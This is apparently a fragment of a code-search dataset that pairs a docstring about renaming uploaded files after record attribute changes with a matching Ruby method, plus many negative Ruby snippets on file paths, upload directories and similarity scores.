"def path\n\t\tunless @@rtp_directory\n\t\t\tread_ini = lambda{|val|File.foreach(\"Game.ini\"){|line| break($1) if line =~ /^#{val}=(.*)$/}}\n\t\t\tkey = type = size = [].pack(\"x4\")\n\t\t\tRegOpenKeyExA.(2147483650, 'Software\\Enterbrain\\RGSS3\\RTP', 0, 131097, key)\n\t\t\tkey = key.unpack('l').first\n\t\t\trtp_data = read_ini.(\"RTP\")\n\t\t\tRegQueryValueExA.(key, rtp_data, 0, type, 0, size)\n\t\t\tbuffer = ' '*size.unpack('l').first\n\t\t\tRegQueryValueExA.(key, rtp_data, 0, type, buffer, size)\n\t\t\tRegCloseKey.(key)\n\t\t\t@@rtp_directory = (buffer.gsub(/\\\\/, '/')).delete!(0.chr)\n\t\t\t@@rtp_directory += \"/\" if @@rtp_directory[-1] != \"/\"\n\t\tend\n\t\treturn @@rtp_directory\n\tend",
"def parent_folder(file)\n Pathname.new(file).dirname.basename.to_s\n end",
"def relative_store_dir\n parse_dir_options(:store_dir)\n end",
"def store_dir\n \"sites/#{model.site_id}/#{model.class.to_s.pluralize.underscore}/#{model.id}\"\n end",
"def dirname\n File.dirname(filename)\n end",
"def store_dir\n \"#{base_store_dir}/#{model.id}\"\n end",
"def store_dir\n \"#{base_store_dir}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{DateTime.now.strftime('%Y%m')}/\"\n end",
"def dir\n File.dirname(self.path)\n end",
"def web_file_path \n afilePath = building.web_path + SAVE_PATH + id.to_s\n if file_suffix != \"\" && file_suffix != nil\n afilePath = afilePath + \".\" + file_suffix \n end\n\n afilePath\n end",
"def full_path\n File.dirname(File.expand_path(serialized_filename))\n end",
"def directory\n return _meta_data['directory'] if _meta_data.has_key? 'directory'\n dir\n end",
"def store_dir\n \"#{model.guid}\"\n end",
"def basedir\n return nil if !file\n File.dirname File.absolute_path @file\n end",
"def dirname\n File.dirname(filename)\n end",
"def store_dir\n model.s3_dir\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{partition_dir(model.id)}/#{model.id}\"\n end",
"def folder\n File.join self.class::FOLDER, model_id.to_s\n end",
"def rdf_storage_path(inner_dir = nil?)\n inner_dir ||= can_view?(nil) ? 'public' : 'private'\n path = File.join(Seek::Config.rdf_filestore_path, inner_dir)\n FileUtils.mkdir_p(path) unless File.exist?(path)\n\n filename = rdf_storage_filename\n File.join(path, filename)\n end",
"def directory\n self.class.directory\n end"
] | [
"0.7135162",
"0.70473164",
"0.69739074",
"0.6963096",
"0.6945805",
"0.6892057",
"0.6891918",
"0.6887564",
"0.6885954",
"0.68631154",
"0.6838524",
"0.6834567",
"0.6834567",
"0.6816714",
"0.6801869",
"0.6791086",
"0.6790537",
"0.6783097",
"0.6739227",
"0.6738241",
"0.6710788",
"0.670073",
"0.6691091",
"0.66878676",
"0.6673708",
"0.6667166",
"0.6643079",
"0.6639102",
"0.66252613",
"0.6620248",
"0.6618141",
"0.66173565",
"0.6610304",
"0.65642315",
"0.6556427",
"0.65431297",
"0.65431297",
"0.6540876",
"0.65327084",
"0.65324783",
"0.6523855",
"0.6510344",
"0.65102506",
"0.65102506",
"0.65102506",
"0.65102506",
"0.65102506",
"0.65102506",
"0.65102506",
"0.6496477",
"0.6494326",
"0.6491518",
"0.64851445",
"0.64649075",
"0.6459528",
"0.6453882",
"0.64448524",
"0.6441823",
"0.6438643",
"0.6432882",
"0.6430445",
"0.6426007",
"0.6424262",
"0.64178807",
"0.6409303",
"0.63970566",
"0.6380802",
"0.63757175",
"0.6354709",
"0.63440454",
"0.6340502",
"0.6335898",
"0.63311654",
"0.63290864",
"0.63288975",
"0.6327946",
"0.6327048",
"0.6321463",
"0.63201666",
"0.6316892",
"0.6308521",
"0.6300169",
"0.62953687",
"0.6290785",
"0.6287263",
"0.628041",
"0.628041",
"0.628015",
"0.62787616",
"0.6273493",
"0.62680185",
"0.62673736",
"0.6260801",
"0.6259175",
"0.62522185",
"0.625212",
"0.62517685",
"0.62503177",
"0.6249158",
"0.6247801"
] | 0.6466741 | 53 |
Renames the uploaded file stored in the filesystem if the record's attribute changes have caused the file's path to change. Only works if the path is a function only of the record's own properties, not of the properties of any associations. Called using the +before_update+ callback in ActiveRecord::Base. | def rename_uploaded_file
return unless @uploaded_file.nil?
if file_exists? and full_path != full_path_from_current_attributes
ensure_directory_exists
File.rename(full_path, full_path_from_current_attributes)
remove_empty_directory
@saved_full_path = full_path_from_current_attributes
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update_path\n update_column :path, file.url unless url?\n end",
"def rename_file\n return unless @old_filename && @old_filename != full_filename\n if save_attachment? && File.exists?(@old_filename)\n FileUtils.rm @old_filename\n elsif File.exists?(@old_filename)\n FileUtils.mv @old_filename, full_filename\n end\n @old_filename = nil\n true\n end",
"def rename_file\n return unless filename_changed?\n\n old_full_filename = [base_path, filename_was].join(\"/\")\n\n object = self.class.bucket.objects.find(old_full_filename)\n new_object = object.copy(:key => full_filename, :acl => attachment_options[:acl])\n object.destroy\n true\n end",
"def rename_file\n return unless @old_filename and @old_filename != full_filename\n start_ssh do |ssh|\n if save_attachment?\n ssh.exec!(\"rm #{e @old_filename}\")\n else\n ssh.exec!(\"mv #{e @old_filename} #{e full_filename}\")\n end\n end\n @old_filename = nil\n true\n end",
"def update_file_path\n if self.number_changed? || self.organization_id_changed?\n old_organization = Organization.find(self.organization_id_was)\n old_url_part = url_part_safe(self.number_was)\n \n old_path = File.join(old_organization.storage_path, old_url_part)\n \n if File.directory?(old_path)\n new_path = self.storage_path\n \n # If the organization folder does not exist, create it.\n if !File.directory?(self.organization.storage_path)\n FileUtils.mkdir_p self.organization.storage_path\n end\n \n FileUtils.mv old_path, new_path\n end\n end\n end",
"def rename_file\n @old_path = Rails.root.to_s+'/public/vendorlogos/'+self.id.to_s\n @new_path = Rails.root.to_s+'/public/vendorlogos/'+self.id.to_s+\".\"+self.logo.to_s\n if(File.exists?(@old_path))\n File.rename(@old_path, @new_path)\n end\n end",
"def filename=(value)\n @old_filename = full_filename unless filename.nil? or @old_filename\n write_attribute :filename, sanitize_filename(value)\n end",
"def filename\n if original_filename\n # This is pretty gross. We only want to reuse the existing filename if\n # a new avatar isn't being uploaded, we look at the *_change attribute to\n # determine if that happened.\n if model && model.read_attribute(mounted_as).present? && !model.send(:\"#{mounted_as}_change\")\n model.read_attribute(mounted_as)\n else\n # new filename\n @name ||= \"#{timestamp}.#{model.send(mounted_as).file.extension}\" if original_filename\n end\n end\n end",
"def filename=(value)\n @old_filename = filename unless filename.nil? || @old_filename\n write_attribute :filename, sanitize_filename(value)\n end",
"def save_original_filename(file)\n return true unless model.respond_to?(\"#{mounted_as}_original_filename\")\n return true unless file.respond_to?(:original_filename)\n model.send(\"#{mounted_as}_original_filename=\", file.original_filename)\n end",
"def file_update\n File.rename(file_path,\n File.join(File.dirname(file_path),\n File.basename(file_path).gsub(/_\\d+\\.txt/, \"_#{Time.now.to_i}.txt\")))\n end",
"def local_path_to_file=(value)\n @attributes[:local_path_to_file] = value\n reset_attributes\n calculate_attributes\n value\n end",
"def update_from_filename filename\n self.original_filename = filename\n self.valid?\n end",
"def update_file_path\n if self.season_changed? || self.year_changed?\n old_url_part = \"#{SEASON_PATH_NAMES.rassoc(self.season_was).first}-#{self.year_was}\"\n course_ids = self.assignments.pluck(:course_id).uniq\n \n course_ids.each do |course_id|\n course = Course.find(course_id)\n old_path = File.join(course.storage_path, old_url_part)\n \n if File.directory?(old_path)\n new_path = File.join(course.storage_path, self.url_part)\n \n FileUtils.mv old_path, new_path\n end\n end\n end\n end",
"def before_save\n\t\t\tself.name ||= ''\n\t\t\tself.filename ||= self.name.downcase.gsub(/[^a-z0-9]+/, '-')\n\t\t\tif self.parent.nil?\n\t\t\t\tself.path = ''\n\t\t\telsif self.parent.path.empty?\n\t\t\t\tself.path = filename\n\t\t\telse\n\t\t\t\tself.path = self.parent.path + '/' + self.filename\n\t\t\tend\n\t\tend",
"def after_update\r\n\t\t\tself.children.each do |child|\r\n\t\t\t\tchild.path = self.path + '/' + child.filename\r\n\t\t\t\tchild.save\r\n\t\t\tend\r\n\t\tend",
"def after_update\n\t\t\tself.children.each do |child|\n\t\t\t\tchild.path = self.path + '/' + child.filename\n\t\t\t\tchild.save\n\t\t\tend\n\t\tend",
"def path\n @new_filename || @filename\n end",
"def rename_file\n true\n end",
"def changed?(uploaded_file)\n record.reload\n super\n end",
"def rename_mp4_to_mp3\n\n file_path = attachment.path\n\n if (current_format = File.extname(self.attachment.path)) =~ /mp4/\n new_attachment_file_name = File.basename(self.attachment_file_name, File.extname(self.attachment_file_name)) + EXTNAME_FOR_RENAME\n file_path = File.join(File.dirname(self.attachment.path), File.basename(self.attachment.path, current_format)+EXTNAME_FOR_RENAME)\n\n FileUtils.mv(self.attachment.path, file_path)\n update_column(:attachment_file_name, new_attachment_file_name)\n end\n\n file_path\n end",
"def rename(to) File.rename(path, to) end",
"def action_rename\n if @tpath == nil\n Chef::Log.Fatal \"Target path is empty and need to be set for rename action\"\n elsif (!dir_exists?(@path))\n Chef::Log::Error(\"Source directory #{ @path } doesn't exist; rename action not taken\")\n else\n converge_by(\"rename #{ @new_resource }\") do\n @client.rename(@path, @tpath)\n end\n new_resource.updated_by_last_action(true)\n end\n end",
"def modified?(path); end",
"def fix\n path = Rails.root.join(\"public/system/files/#{self.id}/original/#{self.file_file_name}\")\n Formatador.display_line(\"Uploading file at: [green]#{path}[/]\")\n if File.exists?(path)\n self.attached_file.store!(File.open(path))\n self.update_attribute(:attached_file, self.file_file_name)\n Formatador.display_line(\"[yellow]Done![/]\")\n else\n Formatador.display_line(\"[red]ERROR: [/]File does not exist!\")\n end\n end",
"def fix_row_file_path!(row)\n # We know that Saikuro rows are broken\n # next unless row['metric'] == :saikuro\n key = [row[\"class_name\"], row[\"method_name\"]]\n current_file_path = row[\"file_path\"].to_s\n correct_file_path = @class_and_method_to_file[key]\n if !correct_file_path.nil? && correct_file_path.include?(current_file_path)\n row[\"file_path\"] = correct_file_path\n else\n # There wasn't an exact match, so we can do a substring match\n matching_file_path = file_paths.detect {|file_path|\n !file_path.nil? && file_path.include?(current_file_path)\n }\n if matching_file_path\n row[\"file_path\"] = matching_file_path\n end\n end\n end",
"def update\n uploaded_io = params[:product][:image]\n # if uploaded_io != nil\n # @product.pathToImg = @product.prodCategory + '/' + @product.prodCode\n # end\n # uploaded_io.rename(uploaded_io.original_filename, @product.prodCode.to_s)\n if uploaded_io != nil\n File.open(Rails.root.join('app','assets', 'images', @product.prodCategory.to_s.downcase, uploaded_io.original_filename), 'wb') do |file|\n # puts \"[products_controller] original file name \" +uploaded_io.original_filename.to_s\n # file.rename(uploaded_io.original_filename, @product.prodCode.to_s)\n file.write(uploaded_io.read)\n end\n @product.pathToImg = @product.prodCategory.downcase + '/' + uploaded_io.original_filename\n end\n \n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_file_mtime\n write_attribute(:file_mtime, File.mtime(file_name)) if (file_mtime.blank? and !file_name.blank?)\n end",
"def rename_picture\n previous_picture_path = DownloadCategory.find(self.id).picture_path\n if previous_picture_path && picture_exists?(previous_picture_path) && previous_picture_path != picture_path\n begin\n File.rename(previous_picture_path, picture_path)\n rescue\n # Do Nothing.\n end\n end\n end",
"def with_file_path_for(attribute, &block) # :yields: full_file_path\n attachment = attachment_for(attribute)\n\n if attachment.respond_to?(:s3)\n yield attachment.url\n elsif File.exists?(attachment.path)\n yield attachment.path\n else # file hasn't been saved, use a tempfile\n temp_rename = File.join(Dir.tmpdir, attachment.original_filename)\n File.copy(attachment.to_file.path, temp_rename)\n\n yield temp_rename\n end\n ensure\n temp_rename && File.unlink(temp_rename) # always delete this\n end",
"def rename_storage_object\n if self.permanent_key_was.present? && self.permanent_key.present?\n target_key = nil\n if self.permanent_key != self.permanent_key_was\n target_key = self.permanent_key\n elsif self.filename != self.filename_was\n target_key = self.class.permanent_key(institution_key: self.institution.key,\n item_id: self.item_id,\n filename: self.filename)\n end\n if target_key\n PersistentStore.instance.move_object(source_key: self.permanent_key_was,\n target_key: target_key)\n self.update_column(:permanent_key, target_key) # skip callbacks\n end\n elsif self.staging_key_was.present? && self.staging_key.present?\n target_key = nil\n if self.staging_key != self.staging_key_was\n target_key = self.staging_key\n elsif self.filename != self.filename_was\n target_key = self.class.staging_key(institution_key: self.institution.key,\n item_id: self.item_id,\n filename: self.filename)\n end\n if target_key\n PersistentStore.instance.move_object(source_key: self.staging_key_was,\n target_key: target_key)\n self.update_column(:staging_key, target_key) # skip callbacks\n end\n end\n end",
"def filename\n if original_filename\n var = :\"@#{mounted_as}_unique_file_name\"\n model.instance_variable_get(var) or model.instance_variable_set(var, unique_file_name)\n end\n end",
"def rename_original_file\n new_path = \"#{CSV_PWD}/old_#{CSV_FILE_NAME}\"\n File.rename(ORIGINAL_FULL_PATH, new_path)\n new_path\n end",
"def mv!( from_path, to_path )\r\n got = @ndev.rpc.command( \"file rename #{from_path} #{to_path}\" )\r\n return true if got.nil? # got no error\r\n raise IOError, got.text\r\n end",
"def ensure_file_and_filename\n return true if up_to_date_with_parent?\n \n # Kill existing file in S3, if any - before rename\n if filename && AWS::S3::S3Object.exists?(full_filename, bucket_name)\n AWS::S3::S3Object.delete(full_filename, bucket_name)\n end\n\n set_filename_from_parent\n copy_file_from_parent\n true\n end",
"def update_file_paths\n if self.email_changed?\n old_storage_path = File.join(SystemConfiguration.first.storage_path, 'users', self.email_was)\n \n # If the directory exists, move/rename it.\n if File.directory?(old_storage_path) \n FileUtils.mv old_storage_path, File.join(SystemConfiguration.first.storage_path, 'users', self.email)\n end\n \n self.assignment_offerings.each do |assignment_offering|\n old_assignment_path = File.join(\n assignment_offering.course_offering.storage_path,\n 'assignments',\n assignment_offering.assignment.url_part,\n self.email_was)\n \n # If the directory exists, move/rename it.\n if File.directory?(old_assignment_path) \n FileUtils.mv old_assignment_path, File.join(\n assignment_offering.course_offering.storage_path,\n 'assignments',\n assignment_offering.assignment.url_part,\n self.email)\n end\n end\n \n end\n end",
"def original_filename\n @original_filename ||= File.basename(path)\n end",
"def path= path\n @path = path\n @fileInTable.path = @user + '/' + @group + '/' + @path\n save\n end",
"def path= (input_path)\n @path = input_path\n update_files\n @path\n end",
"def rename_file\n\n end",
"def path=(new_path)\n super\n if new_path[0..0] != '/' # addressable adds a / but scp-style uris are altered by this behavior\n @path = path.sub(%r|^/+|,'')\n @normalized_path = nil\n validate\n end\n path\n end",
"def set_path\n @file_path = @s3_local_object.body.path\n end",
"def original_filename\n @original_filename ||= path.basename.to_s\n end",
"def photo__after_create_trigger\r\n\r\nif !@photo_cache.blank? && !@photo_cache[:tmp].blank?\r\n @photo_cache[:path] = File.join(FILES_DEST_PHOTO, 'cache', @photo_cache[:tmp])\r\nend\r\nif !@photo_cache.blank? && @photo_cache[:path]\r\n if File.exist?(@photo_cache[:path])\r\n File.rename(@photo_cache[:path], File.join(FILES_DEST_PHOTO, \"#{self.id}_#{self.photo__name}\"))\r\n else\r\n logger.warn(\"Should not happen! cache: #{@photo_cache.inspect} - name: #{self.photo__name}\")\r\n end\r\nend\r\n@photo_cache = {}\r\nend",
"def update\n description = file_params[:description] || @file.description\n\n raise ApiError, \"Can't rename a file.\" unless @file.rename(file_params[:name], description)\n\n render json: @file, adapter: :json\n end",
"def create_or_update_path(path_attrs)\n path = Path.where(title: path_attrs[:title]).first\n\n if path.nil?\n path = Path.create!(path_attrs)\n Rails.logger.info \">>>> Created new path: #{path_attrs[:title]}!\"\n elsif path.attributes == path_attrs\n Rails.logger.info \"No changes to existing path: #{path_attrs[:title]}\"\n else\n path.update_attributes(path_attrs)\n Rails.logger.info \"Updated existing << PATH >>: #{path_attrs[:title]}\"\n end\n\n path\nend",
"def rename(path, name, new_name)\n\t\traise(Rush::NameCannotContainSlash, \"#{path} rename #{name} to #{new_name}\") if new_name.match(/\\//)\n\t\told_full_path = \"#{path}/#{name}\"\n\t\tnew_full_path = \"#{path}/#{new_name}\"\n\t\traise(Rush::NameAlreadyExists, \"#{path} rename #{name} to #{new_name}\") if ::File.exists?(new_full_path)\n\t\tFileUtils.mv(old_full_path, new_full_path)\n\t\ttrue\n\tend",
"def rename(path, name, new_name)\n\t\traise(Rush::NameCannotContainSlash, \"#{path} rename #{name} to #{new_name}\") if new_name.match(/\\//)\n\t\told_full_path = \"#{path}/#{name}\"\n\t\tnew_full_path = \"#{path}/#{new_name}\"\n\t\traise(Rush::NameAlreadyExists, \"#{path} rename #{name} to #{new_name}\") if ::File.exists?(new_full_path)\n\t\tFileUtils.mv(old_full_path, new_full_path)\n\t\ttrue\n\tend",
"def normalize_filename\n self.name = Pathname.normalize_filename(name)\n end",
"def normalize_filename\n self.filename = Pathname.normalize_path(filename)\n end",
"def set_path\n self.path = File.join(self.store_dir, self.filename)\n end",
"def update(uploaded_file)\n super\n record.save_changes(validate: false)\n end",
"def original_file_name\n object.original_file_name.nil? ? \"\" : object.original_file_name\n end",
"def original_file_name\n object.original_file_name.nil? ? \"\" : object.original_file_name\n end",
"def setFileName(path)\n end",
"def on_put(path)\n local_path = DocumentFile::DOC_FILE_PATH + File.dirname(path)\n filename = File.basename(path)\n data = I3.server.receive_object\n \n if data.respond_to? :temp_file\n temp_file_path = File.join(UploadedFile::TEMP_FOLDER, data.temp_file)\n unless File.exists? temp_file_path\n I3.server.send_object I3::NotFoundException.new(:message => \"Could not find temp file.\")\n end #unless\n \n begin\n temp_file = File.new(temp_file_path)\n response = UploadedFile.save_as(filename, temp_file, local_path, true)\n I3.server.send_object response\n\n rescue I3::SecurityException\n log.warn \"User #{acct.account_name} tried to upload a file to '#{path}' and was denied.\"\n I3.server.send_object $!\n\n rescue\n log.warn \"User #{acct.account_name} failed to save file '#{File.join(path, filename)}'\" + \n \" (#{$!.message})\"\n I3.server.send_object I3::ServerException.new(\n :title => \"Could not save file\", \n :message => $!.message )\n end #begin\n \n end #if\n end",
"def set_from_file(model_image_attr, full_path)\n model_image_attr.store!(File.open(full_path))\n send(\"write_#{model_image_attr.mounted_as}_identifier\")\n model_image_attr\n end",
"def renamenc(oldpath, newpath)\n bucket\n @@mutex.synchronize do\n newpath = find_available_name(newpath)\n bucket.objects[oldpath].move_to(newpath, :acl => :public_read)\n end\n newpath\n end",
"def path_changed(p_index)\n\t\t\n\t\t\t# Enable Ok Button, release Keyboard from Line Edit\n\t\t\[email protected](true)\n\t\t\n\t\t\t# Get Path for the clicked File\n\t\t\t@path = @shell_tree_view.model.fileInfo(p_index).canonicalFilePath\n\t\t\t\n\t\t\t# Reverse slashes if on Windows, looks more \"native\"\n\t\t\[email protected]!(\"/\", \"\\\\\") unless @path.nil? || !@is_win32 \n\t\t\t\n\t\t\t# Set text, if valid\n\t\t\t@path_edit.setText(@path) if @path.is_a?(String)\n\t\tend",
"def filename\n if original_filename\n if model && model.read_attribute(mounted_as).present?\n model.read_attribute(mounted_as)\n else\n @name ||= \"#{mounted_as}-#{uuid}.#{file.extension}\"\n end\n end\n end",
"def name\n # Note that we have to be clever here and use \"direct access\"\n # to avoid a stack overflow from recursion.\n\n # Alternative would be to have this \"virtual attribute\" named\n # something other than name, or change the database column name.\n self[:name].blank? ? self[:upload_file_name] : self[:name]\n end",
"def file_name=(value)\n @file_name = value\n end",
"def file_name=(value)\n @file_name = value\n end",
"def renamed?\n renamed = file_log.renamed?(file_node)\n return renamed unless renamed\n \n return renamed if rev == link_rev\n \n name = path\n fnode = file_node\n changeset.parents.each do |p|\n pnode = p.filenode(name)\n next if pnode.nil?\n \n # Why the fuck does this method return nil. This could fuck things\n # up down the line. There better be a good fucking reason for this.\n # Sorry I'm so irritated. I just need some food.\n return nil if fnode == pnode\n end\n renamed\n end",
"def filename\n return unless original_filename\n if model.instance_variable_get('@_temporal_filename')\n model.instance_variable_get('@_temporal_filename')\n else\n timestamp = DateTime.now.strftime(\"%d-%m-%Y-%H-%M\")\n random_id = SecureRandom.hex\n temporal_filename = \"#{timestamp}-#{random_id}-#{original_filename}\"\n model.instance_variable_set('@_temporal_filename', temporal_filename)\n end\n end",
"def update(uploaded_file)\n super\n record.save(raise_on_failure: true)\n end",
"def path=(new_path)\n @path = Pathname.new(new_path).expand_path\n end",
"def _conficting_modification_key\n _path.sub(/\\..*/, '')\n end",
"def rename(entry, new_name, &continue_on_exists_proc); end",
"def file_path=(file_path)\n @file_data = nil\n @raw_data = nil\n @file_path = file_path\n end",
"def set_file_name\n update(name: (file.filename rescue \"Untitled File\"))\n end",
"def set_file_name\n update(name: (file.filename rescue \"Untitled File\"))\n end",
"def rename(from_path, to_path)\n ::File.rename(abspath(from_path), abspath(to_path))\n entry_path(to_path)\n end",
"def update_file(params)\n self.processed = false\n self.attributes = params\n set_upload_attributes\n save!\n Avatar.delay.finalize_and_cleanup(id)\n end",
"def update_file_size\n size = File.size(self.file_path)\n if !self.image_size? or self.image_size != size\n self.update_attributes({:image_size => size})\n end\n end",
"def update_file_paths \n if self.url_part_was && self.url_part && self.short_name_changed?\n old_url_part = self.url_part\n old_ref_path = self.assignment_reference_repository.git_path\n set_url_part\n \n if old_url_part == self.url_part\n # Nothing changes\n return\n end\n \n self.save\n \n # Move reference repository folder if necessary\n if File.directory?(old_ref_path) \n new_ref_path = String.new(old_ref_path)\n new_ref_path[new_ref_path.index(File.basename(new_ref_path))..-1] = self.url_part\n \n FileUtils.mv old_ref_path, new_ref_path\n end\n \n # Move assignment repositories if necessary\n self.assignment_offerings.each do |assignment_offering|\n old_assignment_repo_path = File.join(\n assignment_offering.course_offering.storage_path,\n 'assignments',\n old_url_part)\n \n if File.directory?(old_assignment_repo_path)\n new_assignment_repo_path = File.join(\n assignment_offering.course_offering.storage_path,\n 'assignments',\n self.url_part) \n \n FileUtils.mv old_assignment_repo_path, new_assignment_repo_path\n end \n \n end\n end\n end",
"def execute\n if(File.exist?(@filepath) and @hasExecuted == false)\n File.rename(@filepath, @newName)\n @hasExecuted=true\n end\n end",
"def update_upload_attributes\n if document.present? && document_changed?\n self.content_type = document.file.content_type\n self.file_size = document.file.size\n self.file_name = File.basename(document.url)\n end\n end",
"def google_rename_file(client)\n old_path = CGI::unescape(@fields[:old_path])\n new_path = CGI::unescape(@fields[:new_path])\n old_src = trim_to_dir_path(old_path) \n new_src = trim_to_dir_path(new_path)\n if old_src != new_src\n # 來源目錄不同\n return {\"errmsg0\" => \"Failure:Source directories are not the same\"}\n else\n # 處理,給定某一個工作路徑,以及新檔案、舊檔案\n old_name = old_path.split('/')[-1]\n new_name = new_path.split('/')[-1]\n notify \"已收到指令:在#{old_src}目錄中,將檔案#{old_name}改名為#{new_name}\"\n client.rename_file_by_path(old_path,new_name)\n end\n\n end",
"def uploaded_file=(file); write_attribute(:uploaded_file, file); end",
"def edit_logo_path \n # check if not a new vendor\n if Vendor.exists?(self.id)\n begin\n # previous vendor logo's extension in the db\n @last_extension = Vendor.find_by_id(self.id)\n # vendor_logo.url from paperclip (no image attached error message), self.logo from vendors/_form.html (no image selected to be uploaded)\n if self.vendor_logo.url().split('?')[0] == \"/vendor_logos/original/missing.png\" && self.logo == \"vendorlogos/logo.jpg\"\n # if there was no image selected at edit take the previous extension from db\n self.logo = @last_extension.logo\n # if there was a single/multiple value update then use the previous extension from db (for future implementations if need be)\n elsif self.vendor_logo.url().split('?')[0] == \"/vendor_logos/original/missing.png\" && self.logo == \"jpg\"\n self.logo = @last_extension.logo\n elsif self.vendor_logo.url().split('?')[0] == \"/vendor_logos/original/missing.png\" && self.logo == \"png\"\n self.logo = @last_extension.logo\n elsif self.vendor_logo.url().split('?')[0] == \"/vendor_logos/original/missing.png\" && self.logo == \"jpeg\"\n self.logo = @last_extension.logo\n else\n # if no image selected at vendor creation\n if self.logo != \"none\"\n # if there was an extension change\n @test = self.vendor_logo_file_name\n # if filename is purely non-latin then get the extension of the original filename manually\n if @test.scan(/^[a-zA-Z]/)\n self.logo = @test.split(\".\")[1]\n else\n self.logo = self.vendor_logo.url().split('?')[0].split('.')[1]\n end\n end \n end\n end\n # if it is a new vendor\n # set logo attribute to something, doesn't matter what if no picture is uploaded, if picture is uploaded then picture's extension\n else\n if self.vendor_logo.url().split('?')[0] == \"/vendor_logos/original/missing.png\" && self.logo == \"vendorlogos/logo.jpg\"\n self.logo = \"none\"\n else\n @test = self.vendor_logo_file_name\n # if filename is purely non-latin then get the extension of the original filename manually\n if @test.scan(/^[a-zA-Z]/)\n self.logo = @test.split(\".\")[1]\n else\n self.logo = self.vendor_logo.url().split('?')[0].split('.')[1]\n end\n end\n end\n end",
"def update_file(path, &block)\n original_mtime = File.exist?(path) ? File.mtime(path) : Time.at(0)\n new_time = original_mtime + 1\n File.open(path, 'w', &block)\n File.utime(new_time, new_time, path)\n end",
"def changed?(path)\n # FIXME: Implement properly once changed detection is available.\n exists?(path)\n end",
"def image_file_changed?\n raise 'please override image_file_changed?'\n end",
"def set_file_name_and_data_dir\n if self.upload_file_name.nil?\n self.status = 'uploaded'\n if self.name.nil?\n self.name = ''\n end\n elsif (self.name.nil? || self.name.blank?) || (!self.new_record? && self.upload_file_name != self.name)\n self.name = self.upload_file_name\n end\n self.data_dir = self.study.data_dir\n end",
"def file_uploaded_now?(item = nil)\n item ||= default_to_self\n item.reload if item.is_a?(ActiveRecord::Base)\n file_uploaded?(item)\n end",
"def modified?(path)\n return true if disabled?\n\n # objects that don't have a path are always regenerated\n return true if path.nil?\n\n # Check for path in cache\n return cache[path] if cache.key? path\n\n if metadata[path]\n # If we have seen this file before,\n # check if it or one of its dependencies has been modified\n existing_file_modified?(path)\n else\n # If we have not seen this file before, add it to the metadata and regenerate it\n add(path)\n end\n end",
"def path=(path)\n @path = to_pathname(path)\n end",
"def original_file # Accessor for probably protected value original_filename\r\n original_filename\r\n end",
"def notify_path(path)\n @blk.call(:path, path, self.class::EXT)\n @path_notified = true\n end",
"def update_children_with_new_parent\n if path_changed? and not new_record? then\n old_path = (path_was.blank? ? id.to_s : \"#{path_was}.#{id}\")\n self.class.where(\"path <@ ?\", old_path).update_all([ \"path = TEXT2LTREE(REPLACE(LTREE2TEXT(path), ?, ?))\", old_path, my_path ])\n end\n end",
"def transliterate_file_name\n\t\t\tfile_names = Array.new\n\t\t\[email protected] { |a| file_names << a if a.match(/_file_name{1}$/) }\n\t\t\tfile_names.each do |local_file_name|\n\t\t\t\tif self.send(local_file_name).present? && self.send(local_file_name+'_changed?')\n\t\t\t\t\textension = File.extname(send(local_file_name)).gsub(/^\\.+/, '')\n\t\t\t\t\tfilename = send(local_file_name).gsub(/\\.#{extension}$/, '')\n\t\t\t\t\tself.send(local_file_name.gsub(/_file_name{1}$/, '')).instance_write(:file_name, \"#{transliterate(filename)}.#{transliterate(extension)}\")\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def move_to(new_path, new_file_name = nil)\n res = false\n new_file_name ||= file_name\n current_user_role_names.each do |role_name|\n curr_path = file_path_for role_name: role_name\n next unless File.exist?(curr_path)\n\n self.path = new_path if new_path\n self.file_name = new_file_name\n self.valid_path_change = true\n\n transaction do\n move_from curr_path\n save!\n res = true\n end\n break\n end\n\n raise FsException::Action, \"Failed to move file to #{new_path}/#{new_file_name}\" unless res\n\n res\n end",
"def regenerate_path!\n regenerate_path\n save\n end",
"def path=(value)\n attribute_set(:svn_name, value)\n end",
"def edit_filename\n\n client = user_client\n file = client.file_from_id(params[:fileId], fields: [:parent])\n mixpanel_tab_event(\"My Vault\", \"Rename Item\")\n\n # set current folder id & new file name\n session[:current_folder] = file.parent.id\n newName = params[:fileName] + '.' + params[:fileExt]\n\n # make Box API call to update file name\n begin\n client.update_file(file, name: newName)\n flash[:notice] = \"File name changed to \\\"#{params[:fileName]}\\\"\"\n rescue\n flash[:error] = \"Error: Could not change file name\"\n end\n\n redirect_to dashboard_id_path(session[:current_folder])\n end",
"def to_actual_filename!\n filename = to_actual_filename\n replace(filename) if filename\n end",
"def uploaded_file=(field)\n if field != \"\"\n mt = field.content_type || \"application/binary\"\n self.filename = base_part_of(field.original_filename) \n self.mime_type = mt\n path = get_path\n data = field.read\n self.size = data.length\n if ! File::exist? path\n Dir::mkdir(path)\n else \n # delete old images\n Dir::new(path).each do |oldfile|\n if oldfile[0].chr != '.'\n File::unlink(path+\"/\"+oldfile)\n end\n end\n end\n f = File.new(path + \"/\" + self.filename,\"w\")\n f << data\n f.close\n end\n end",
"def handle_moved_file(globed_path, globed_path_stat, file_attr_to_checksum)\n # --------------------- MANUAL MODE\n # check if file name and attributes exist in global file attr map\n file_attr_key = [File.basename(globed_path), globed_path_stat.size, globed_path_stat.mtime.to_i]\n file_ident_info = file_attr_to_checksum[file_attr_key]\n # If not found (real new file) or found but not unique then file needs indexing. skip in manual mode.\n if file_ident_info && file_ident_info.unique\n Log.debug1(\"update content data with file:%s checksum:%s index_time:%s\",\n File.basename(globed_path), file_ident_info.checksum, file_ident_info.index_time.to_s)\n # update content data (no need to update Dir tree)\n $local_content_data_lock.synchronize{\n $local_content_data.add_instance(file_ident_info.checksum,\n globed_path_stat.size,\n Params['local_server_name'],\n globed_path,\n globed_path_stat.mtime.to_i,\n file_ident_info.index_time)\n }\n end\n end",
